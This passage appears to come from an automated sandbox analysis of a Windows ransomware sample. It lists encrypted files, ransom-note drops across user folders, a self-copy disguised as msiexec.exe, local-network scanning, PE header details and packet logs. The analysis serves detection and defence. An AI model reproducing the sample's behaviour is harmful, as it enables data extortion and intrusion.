SHA-256:	0B1B82BC66A0C5A54403B8E23FFE78A46CE1F03386AAC99F31E672A87ACC5575
SHA-512:	FC516745F97D3EC93ADF217A5FD80A72612079B8E3584FC6C359FD5CB60D872C1E930FFA16BB18FE3E973F59C3FE8A6458A571AEA1D892F2E949A86B8616DE5F
Malicious:	false

C:\Users\user\Favorites\Twitter.url
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.734982586802203
Encrypted:	false
MD5:	C1AC49E11C4EE02ECF4953E9FE0A8AE5
SHA1:	42FDB7DD8DD1474EB5D0E6126C7CAED5F367B246
SHA-256:	952E574D372A04C0FE5E58D19D40E5DA8D5AD9ACDB9A134AB1422992D6304374
SHA-512:	7C4B8F586632C77ABCA3D01334D4437A81D9672EAB3B33DB0AC36CC84CA5327B38ED34C77B2BA148CC644783A67A78384749D6E80B9D238587478732896C7810
Malicious:	false

C:\Users\user\Favorites\Wikipedia.url
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.657514865231632
Encrypted:	false
MD5:	2AACD1E2909A9BA351641569C11F301A
SHA1:	C621C67F7FBAF73DED2F8FC56EC873FCA407F997
SHA-256:	FF295AD265F429FE313F8C81BB35DC5B68DEE2F83C06A23B599F735A18732628
SHA-512:	DAA9921922022479FAA2A1464BABACD0E8329E173A7D803260D42CE019F7A836755D0F219AFDA3430731BDACE8B48B0B35A7673298B21E9AFC03525F713F8E0F
Malicious:	false

C:\Users\user\Favorites\Windows Live\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\Favorites\Windows Live\Get Windows Live.url
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.697502614635637
Encrypted:	false
MD5:	C81B06DBC435986F1075CCFAB12A4B7A
SHA1:	DB6612B47CB7DAC558C13C5DC093D2DF560EA78A
SHA-256:	F7EE95D780A37786911B06F641CE2B751F6698B24C8351EFD5F1F719473C89BE
SHA-512:	89A03837BC1D37DA85456F1337052D7B083B582C96876404147FA4184B450CEA207A9BB47F6CFF9A55BC024395856CB841195E222AD9C662A79B9DFF515B3BC8
Malicious:	false

C:\Users\user\Favorites\Windows Live\Windows Live Gallery.url
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.633097260247365
Encrypted:	false
MD5:	890F8BA3936899487E33D8D2E5836298
SHA1:	9FA1AE6D864E9A3189D17D9D95CFC8C952971ABC
SHA-256:	8948D9417447E1B334DEC950F5551A4BABFE875830CFB07EF2A6C350B04E8B6A
SHA-512:	78C6660F2BA63E83C9CA86B7860748AF5C3E1BB920F5CDD541149D5826D9455412E92699A0AAB5471F33518B6926DCDA843D19B4C6AEA06A7142C48A4CB58A6E
Malicious:	false

C:\Users\user\Favorites\Windows Live\Windows Live Mail.url
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.67647808308087
Encrypted:	false
MD5:	141D07628493B22FFF2A2D6EAE099067
SHA1:	DC5CD3D11C1006C3A5BDEC48660CBFDACA1CFE31
SHA-256:	897B4ACCFAD5EDA4BF53980B4F32108EAD424F555FD06CA404A6F3CCF0510094
SHA-512:	41855374B1670B0AC2C0E0185C0A2E11C2A7A7486AC8F0F0FEF1EC83E94821B7D4569E4E8C51B27F3070F1D68FDE429D7D630CE5E751F2606BC16D0E6A8FE929
Malicious:	false

C:\Users\user\Favorites\Windows Live\Windows Live Spaces.url
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6539634145222974
Encrypted:	false
MD5:	D0A172E72AE41EC4F9FFEDB0F0467457
SHA1:	B3F33C723F05F7D6718B7AD6C9771866D571479D
SHA-256:	8159029943C8C321DC94C05476D8C67A15D64934C2E115E94268D5A760D8F725
SHA-512:	17F6C6E3BF39AF419E424A07D832E52196E3932F2790651428103EC53C790D8041E0A4AA84D107C7E54A5C28D182EC9682448D13097E402787265EA141A1B5DA
Malicious:	false

C:\Users\user\Favorites\Youtube.url
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.683080419324584
Encrypted:	false
MD5:	8F0DBC19CD3219BEB21F753B8C1024B0
SHA1:	B4EEB24208502C4429D8655C069C1ABE358D9EAF
SHA-256:	7B2BE72381DDCC0DF8990BFAB40909A18591AE07C697D24DE92C0986CF46DA5F
SHA-512:	9E09FD1C161ECAEEDF80179D8E56B724A81B46B438CD1A4868309040653E6A7ABE8DA63B7A0F67C7DBF89E72A624C8D4872C5D56BB61AF72F904E6990E44CAC2
Malicious:	false

C:\Users\user\Favorites\desktop.ini
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.719018605535979
Encrypted:	false
MD5:	A3FF18553E4401160761233C45B09AD4
SHA1:	F04605E03BD9143E3D32F8FDCE6859A5F7EA9932
SHA-256:	3071F80CDDDCC11FE5C5791EE8A05272BD96F611486F790D9196FA60ACEF00A9
SHA-512:	661DBFD1CDB8571DD4A4524C4C84C6247C7705BED8E40CB11F5A5E06DA91D4EF874A57E8C01C565C11BB01E6AF2BBBECC908F3F9BA5DF2E30DD79B9A71FAC853
Malicious:	false

C:\Users\user\Links\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\Links\desktop.ini
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.710511154666625
Encrypted:	false
MD5:	31148D7D2A8DAF88336271156DD4E204
SHA1:	11AED97679E755230E849B26B2976FF36BEF4937
SHA-256:	98CA98CD3D74507C0735842EB1327994F810A3222A1D9345241B8B2DA2A67DEC
SHA-512:	2179FAF8B82688066B92237DBC9AF600887E4ACB2CEDB13623B7E1D02D96D55CBF5A599AFFF45DE03156BE745A9AB006F215AE7A7F9789A3A3BA3A83398179D0
Malicious:	false

C:\Users\user\Music\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\Music\desktop.ini
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.68550269098257
Encrypted:	false
MD5:	9C6C9B060EEE98E241540A6FE621D383
SHA1:	B8EECF6F41E30E65585252A9EB3B9D993328CFEC
SHA-256:	15DBC54F35B80D97C7575C1CD141EB8C2CEB6652F5470C82652D0EC4478F2894
SHA-512:	B380816F7C56EFC4DBD73392D5CC2905964EEF4FA15688F0669940AFD33C22B842E2F8A5D169E6E4CDA65EC528D5CD9F4959390D7B98DF23CC1DA7758A5D17BC
Malicious:	false

C:\Users\user\Pictures\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\Pictures\desktop.ini
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.724983897910485
Encrypted:	false
MD5:	78AE2E605CA5D5D02C7597BCB48653AD
SHA1:	AFFD6C27C1A543248E04C192824AC1E64DA9C24B
SHA-256:	DA2FB572E6D19E8B4E2E2E849A932F8CF47F67F2F4D7442EFEC36958D77F22E0
SHA-512:	5B91CC134D0AF42BA944DEF57920313681190D3F24D591062618516EA28ABA6E362437C0EE28A118E6944C833FFC0CA691568DFF6C65CBC87B31B51850700CCF
Malicious:	false

C:\Users\user\Saved Games\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\Saved Games\desktop.ini
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.63497424540845
Encrypted:	false
MD5:	107C467F808BD8627BAD76EBAB3839B2
SHA1:	0C32180D5996432EC628474FCC2144B89FB02030
SHA-256:	40898C3E772B2A5B5C93E658886ACBA52AB782FCA2D98EC9ABCC419B0DC813BB
SHA-512:	D840C05957900233B45E096F3C87C0151C00774DCEA5F9374270F207328EFCCBD6F7ED3E687A1626512F8F2C46B5C968410E99FA3005C574F73A3260663C5D86
Malicious:	false

C:\Users\user\SciTE.session
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	data
Size (bytes):	651
Entropy (8bit):	7.667847141714793
Encrypted:	false
MD5:	9F785FF99A0D86F575025C5CA102354E
SHA1:	5988D405AF6D21E8F16643F17707BE590411D320
SHA-256:	94A4B006B22881176F2889226F7DB4493AC37E7EC92FE36DA1594C006081B016
SHA-512:	8C97F18E8980B6133F9B9C11613E0F2FA740F245B989C575F86FA797A392DC9682FFA13517A0E5E2E0016092BBAD7BF0863F886114544246DE0C08DB7B7007CB
Malicious:	false

C:\Users\user\Searches\==READ==THIS==PLEASE==054ADB54.txt
Process:	C:\Users\user\AppData\Roaming\msiexec.exe
File Type:	ASCII text, with CRLF line terminators
Size (bytes):	2374
Entropy (8bit):	5.13301760866571
Encrypted:	false
MD5:	D2D1E4AAD9EE85501C9527952A6F0B60
SHA1:	967128405A0B051825916A5F3F5090334758CC7D
SHA-256:	043063B6B042081124E533E8D25F8720CF04153015888EECCA845EA3F8FAB980
SHA-512:	7CA451E73B28FB20B36373AB0D4218158A95E481B33E5CB12FD503E15B1721FD2EFDB254F4A2EAFFCA11499AD2D1142DA367D98E2D0C1E1B6B851F0B8E75696B
Malicious:	false

C:\Users\user\Searches\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\Searches\Everywhere.search-ms
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.661068754082257
Encrypted:	false
MD5:	D5C185F2A431EE11019BB43519ED7510
SHA1:	DBFD8C429395849A9705CB3594A9D9E6FAEC1E96
SHA-256:	0B67CF2FCD9EC89240420CBE3570DF62C48068115DA20DDCE9EA671BEEDEBFA5
SHA-512:	B50C336EE1B632E1E1212ADB74621919C18E6D9D748A3FE0ACE76969BA7BEA2576D8C6EE22F5B0217DBB252A5E31EF1C2B8B031789D7595697F31EDB8109471E
Malicious:	false

C:\Users\user\Searches\Indexed Locations.search-ms
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.659736724936762
Encrypted:	false
MD5:	51F302635E798670442AC80550463E33
SHA1:	447043413A5E0F7F80ECF278A90137FC3A1DCFC9
SHA-256:	4E9530076CE990D5FC8FCA5A6CC87B05AE26282205FDC842E072F9FD38D2CB53
SHA-512:	D5EBE9A083FD88B26E77436B31A2E183DF68DF12FE9F9C2D4DB83823B9253ACD89836D8B630C33325C8F22F8182EB21171C12369D2BD10A539D24B3F703A0AAC
Malicious:	false

C:\Users\user\Searches\desktop.ini
Process:	C:\Users\user\AppData\Roaming\msiexec.exe
File Type:	data
Size (bytes):	651
Entropy (8bit):	7.677563874492789
Encrypted:	false
MD5:	80F1030F8F93271E246CA6E97D9C6813
SHA1:	40C6724D570D37EBF40F4AF4E46FF38F5CC2E55E
SHA-256:	CDB69BF2C87598BDB8194756061415CFF28550D19A036E88A983F23F3D7E95F7
SHA-512:	FB4C0E82C8964B8AA08A98032EC63C0A83F39656E9A9C474CEA3CF08F43E554ECDAC5131B15BBB17D39CB9A374FBD18DC1B6BB728B0C3DA547A888CEB59DAA45
Malicious:	false

C:\Users\user\Videos\desktop.ini
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	data
Size (bytes):	651
Entropy (8bit):	7.662134993789413
Encrypted:	false
MD5:	DEC5B82363F49618BF595BD27ED55C4C
SHA1:	18CCFEEB000FF17A1DFEEF12C7B737A86E1EBE51
SHA-256:	F02431BE378C6593248844FA37D60E13A0103E05E3F980D8B05DE7898DCD0636
SHA-512:	F7E498E5E083CDBDCD43273242B802038F3643DF614E67D6BF26A7A5FD02ED56BC6DB6C886B318F08D8EC9A6028CDB099D1FB749B63C97179B5AC795C0C3ABA0
Malicious:	false

Contacted Domains/Contacted IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ocsp.int-x3.letsencrypt.org	2.16.186.11	true	false	1%, virustotal, Browse	high
ipinfo.io	216.239.32.21	true	false	0%, virustotal, Browse	high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

IP	Country	ASN	ASN Name	Malicious
192.168.1.19	unknown	unknown	unknown	true
192.168.1.199	unknown	unknown	unknown	true
192.168.1.198	unknown	unknown	unknown	true
192.168.1.197	unknown	unknown	unknown	true
192.168.1.15	unknown	unknown	unknown	true
192.168.1.196	unknown	unknown	unknown	true
192.168.1.16	unknown	unknown	unknown	true
192.168.1.195	unknown	unknown	unknown	true
192.168.1.17	unknown	unknown	unknown	true
192.168.1.194	unknown	unknown	unknown	true
192.168.1.18	unknown	unknown	unknown	true
192.168.1.192	unknown	unknown	unknown	true
192.168.1.23	unknown	unknown	unknown	true
192.168.1.193	unknown	unknown	unknown	true
192.168.1.22	unknown	unknown	unknown	true
192.168.1.190	unknown	unknown	unknown	true
192.168.1.25	unknown	unknown	unknown	true
192.168.1.191	unknown	unknown	unknown	true
192.168.1.24	unknown	unknown	unknown	true
192.168.1.21	unknown	unknown	unknown	true
192.168.1.20	unknown	unknown	unknown	true
192.168.1.188	unknown	unknown	unknown	true
192.168.1.187	unknown	unknown	unknown	true
192.168.1.189	unknown	unknown	unknown	true
192.168.1.28	unknown	unknown	unknown	true
192.168.1.184	unknown	unknown	unknown	true
192.168.1.29	unknown	unknown	unknown	true
192.168.1.183	unknown	unknown	unknown	true
192.168.1.186	unknown	unknown	unknown	true
192.168.1.26	unknown	unknown	unknown	true
192.168.1.27	unknown	unknown	unknown	true
192.168.1.185	unknown	unknown	unknown	true
192.168.1.36	unknown	unknown	unknown	true
192.168.1.35	unknown	unknown	unknown	true
192.168.1.180	unknown	unknown	unknown	true
192.168.1.34	unknown	unknown	unknown	true
192.168.1.181	unknown	unknown	unknown	true
192.168.1.33	unknown	unknown	unknown	true
192.168.1.182	unknown	unknown	unknown	true
192.168.1.32	unknown	unknown	unknown	true
192.168.1.31	unknown	unknown	unknown	true
192.168.1.30	unknown	unknown	unknown	true
192.168.1.175	unknown	unknown	unknown	true
192.168.1.174	unknown	unknown	unknown	true
192.168.1.173	unknown	unknown	unknown	true
192.168.1.172	unknown	unknown	unknown	true
192.168.1.179	unknown	unknown	unknown	true
192.168.1.178	unknown	unknown	unknown	true
192.168.1.177	unknown	unknown	unknown	true
192.168.1.176	unknown	unknown	unknown	true
192.168.1.170	unknown	unknown	unknown	true
192.168.1.171	unknown	unknown	unknown	true
192.168.1.162	unknown	unknown	unknown	true
192.168.1.161	unknown	unknown	unknown	true
192.168.1.164	unknown	unknown	unknown	true
192.168.1.163	unknown	unknown	unknown	true
192.168.1.166	unknown	unknown	unknown	true
192.168.1.165	unknown	unknown	unknown	true
192.168.1.168	unknown	unknown	unknown	true
192.168.1.167	unknown	unknown	unknown	true
192.168.1.169	unknown	unknown	unknown	true
192.168.1.10	unknown	unknown	unknown	true
192.168.1.14	unknown	unknown	unknown	true
192.168.1.13	unknown	unknown	unknown	true
192.168.1.12	unknown	unknown	unknown	true
192.168.1.11	unknown	unknown	unknown	true
192.168.1.160	unknown	unknown	unknown	true
192.168.1.217	unknown	unknown	unknown	true
192.168.1.218	unknown	unknown	unknown	true
192.168.1.219	unknown	unknown	unknown	true
192.168.1.213	unknown	unknown	unknown	true
192.168.1.214	unknown	unknown	unknown	true
192.168.1.215	unknown	unknown	unknown	true
192.168.1.158	unknown	unknown	unknown	true
192.168.1.216	unknown	unknown	unknown	true
192.168.1.159	unknown	unknown	unknown	true
192.168.1.156	unknown	unknown	unknown	true
192.168.1.210	unknown	unknown	unknown	true
192.168.1.157	unknown	unknown	unknown	true
192.168.1.211	unknown	unknown	unknown	true
192.168.1.154	unknown	unknown	unknown	true
192.168.1.212	unknown	unknown	unknown	true
192.168.1.155	unknown	unknown	unknown	true
192.168.1.152	unknown	unknown	unknown	true
192.168.1.153	unknown	unknown	unknown	true
192.168.1.150	unknown	unknown	unknown	true
192.168.1.151	unknown	unknown	unknown	true
192.168.1.208	unknown	unknown	unknown	true
192.168.1.209	unknown	unknown	unknown	true
192.168.1.206	unknown	unknown	unknown	true
192.168.1.207	unknown	unknown	unknown	true
192.168.1.204	unknown	unknown	unknown	true
192.168.1.147	unknown	unknown	unknown	true
192.168.1.205	unknown	unknown	unknown	true
192.168.1.148	unknown	unknown	unknown	true
192.168.1.202	unknown	unknown	unknown	true
192.168.1.149	unknown	unknown	unknown	true
192.168.1.203	unknown	unknown	unknown	true
192.168.1.200	unknown	unknown	unknown	true
192.168.1.143	unknown	unknown	unknown	true

Static File Info

General
File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.5032200504538045
TrID:	Win64 Executable GUI (202006/5) 98.05% Generic Win/DOS Executable (2004/3) 0.97% DOS Executable Generic (2002/1) 0.97% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	GAygkOwh9t
File size:	141824
MD5:	6f772eb660bc05fc26df86c98ca49abc
SHA1:	8da75dd328c195b84f15740a33fc9888af4da2be
SHA256:	7b53a00b3a8859755f6144cb2149673fa17fdd6e439cbfdee21a7a513e6395b2
SHA512:	3e028cecf08ed4fe0100a7587f04ba4c4cebb023b371cc4e793a7dfb7be64a4d2ef8066fc352ea834c239cb7c5836626673e02fbaa63f4631b71d40c4cc284a1
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............o...o...o..4....o.......o.......o...o...o..4....o..4....o..4....o..Rich.o..........PE..d.....VY...........................

Static PE Info

General
Entrypoint:	0x419780
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x5956E600 [Sat Jul 1 00:00:00 2017 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:

Entrypoint Preview

Instruction
inc eax
push esi
dec eax
sub esp, 40h
dec eax
mov dword ptr [esp+58h], ebx
dec eax
mov dword ptr [esp+38h], edi
call 00007F7EA53FEF30h
dec eax
lea eax, dword ptr [BEE6FE77h]
dec eax
add eax, 4117C7D9h
call eax
dec eax
lea eax, dword ptr [5E7FD664h]
dec eax
sub eax, 5E80719Fh
call eax
dec eax
mov eax, dword ptr [FFFEA359h]
dec eax
lea ecx, dword ptr [0000A3F7h]
dec eax
sub eax, 78F5EC4Dh
mov dword ptr [esp+20h], F0000040h
inc ecx
mov ecx, 00000001h
inc ebp
xor eax, eax
xor edx, edx
call eax
dec eax
mov eax, dword ptr [FFFE8AF0h]
dec eax
lea ecx, dword ptr [0000A3A6h]
dec eax
add eax, 001B6396h
call eax
dec eax
mov eax, dword ptr [FFFEA0C1h]
dec esp
lea eax, dword ptr [esp+50h]
dec eax
mov ecx, dword ptr [0000A3B3h]
xor ebx, ebx
dec eax
add eax, 00141159h
mov dword ptr [esp+50h], ebx
lea edx, dword ptr [ebx+04h]
call eax
mov eax, dword ptr [esp+50h]
lea edx, dword ptr [ebx+03h]
and eax, 1Fh
add eax, 10h
mov ecx, eax
mov dword ptr [esp+50h], eax
dec eax
lea eax, dword ptr [83574276h]
dec eax
add eax, 7CA8220Ah
dec eax
shl ecx, 03h
call eax
mov ecx, dword ptr [esp+50h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x25000	0x1008	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x27000	0x194	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1e1b0	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1974f	0x19800	False	0.502278645833	data	6.4978571271	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x1b000	0x46a0	0x4800	False	0.715006510417	data	7.19579654702	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x20000	0x420a	0x3200	False	0.316171875	data	3.66371830475	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.pdata	0x25000	0x1008	0x1200	False	0.428602430556	data	4.7041309493	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x27000	0x194	0x200	False	0.66015625	data	4.72917386778	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 11, 2018 14:13:16.191626072 CEST	60535	53	192.168.1.13	8.8.8.8
May 11, 2018 14:13:16.288918018 CEST	53	60535	8.8.8.8	192.168.1.13
May 11, 2018 14:13:16.311263084 CEST	49188	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:16.311296940 CEST	443	49188	216.239.32.21	192.168.1.13
May 11, 2018 14:13:16.311369896 CEST	49188	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:16.399323940 CEST	49188	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:16.399364948 CEST	443	49188	216.239.32.21	192.168.1.13
May 11, 2018 14:13:16.470383883 CEST	443	49188	216.239.32.21	192.168.1.13
May 11, 2018 14:13:16.471124887 CEST	49188	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:16.473274946 CEST	443	49188	216.239.32.21	192.168.1.13
May 11, 2018 14:13:16.473293066 CEST	443	49188	216.239.32.21	192.168.1.13
May 11, 2018 14:13:16.475404024 CEST	49188	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:16.487865925 CEST	49188	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:16.487895966 CEST	443	49188	216.239.32.21	192.168.1.13
May 11, 2018 14:13:16.564238071 CEST	443	49188	216.239.32.21	192.168.1.13
May 11, 2018 14:13:16.564362049 CEST	49188	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:18.288444042 CEST	49188	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:18.288628101 CEST	443	49188	216.239.32.21	192.168.1.13
May 11, 2018 14:13:18.288738966 CEST	49188	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:18.312825918 CEST	49189	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:18.312886000 CEST	443	49189	216.239.38.21	192.168.1.13
May 11, 2018 14:13:18.312973976 CEST	49189	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:18.314065933 CEST	49189	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:18.314095974 CEST	443	49189	216.239.38.21	192.168.1.13
May 11, 2018 14:13:18.462606907 CEST	443	49189	216.239.38.21	192.168.1.13
May 11, 2018 14:13:18.462707043 CEST	49189	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:18.463510036 CEST	49189	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:18.463538885 CEST	443	49189	216.239.38.21	192.168.1.13
May 11, 2018 14:13:18.465064049 CEST	49190	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:18.465096951 CEST	443	49190	216.239.38.21	192.168.1.13
May 11, 2018 14:13:18.465177059 CEST	49190	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:18.466090918 CEST	49190	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:18.466111898 CEST	443	49190	216.239.38.21	192.168.1.13
May 11, 2018 14:13:18.607141972 CEST	443	49190	216.239.38.21	192.168.1.13
May 11, 2018 14:13:18.607228994 CEST	49190	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:18.609177113 CEST	49190	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:18.609205008 CEST	443	49190	216.239.38.21	192.168.1.13
May 11, 2018 14:13:18.612552881 CEST	49191	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:18.612587929 CEST	443	49191	216.239.38.21	192.168.1.13
May 11, 2018 14:13:18.612646103 CEST	49191	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:18.613470078 CEST	49191	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:18.613497019 CEST	443	49191	216.239.38.21	192.168.1.13
May 11, 2018 14:13:18.792272091 CEST	443	49191	216.239.38.21	192.168.1.13
May 11, 2018 14:13:18.792474031 CEST	49191	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:18.792938948 CEST	49191	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:18.792982101 CEST	443	49191	216.239.38.21	192.168.1.13
May 11, 2018 14:13:18.795878887 CEST	49192	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:18.795927048 CEST	443	49192	216.239.38.21	192.168.1.13
May 11, 2018 14:13:18.795988083 CEST	49192	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:18.796442986 CEST	49192	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:18.796744108 CEST	443	49192	216.239.38.21	192.168.1.13
May 11, 2018 14:13:18.796828032 CEST	49192	443	192.168.1.13	216.239.38.21
May 11, 2018 14:13:19.511131048 CEST	49193	443	192.168.1.13	216.239.32.21
May 11, 2018 14:13:19.511183977 CEST	443	49193	216.239.32.21	192.168.1.13
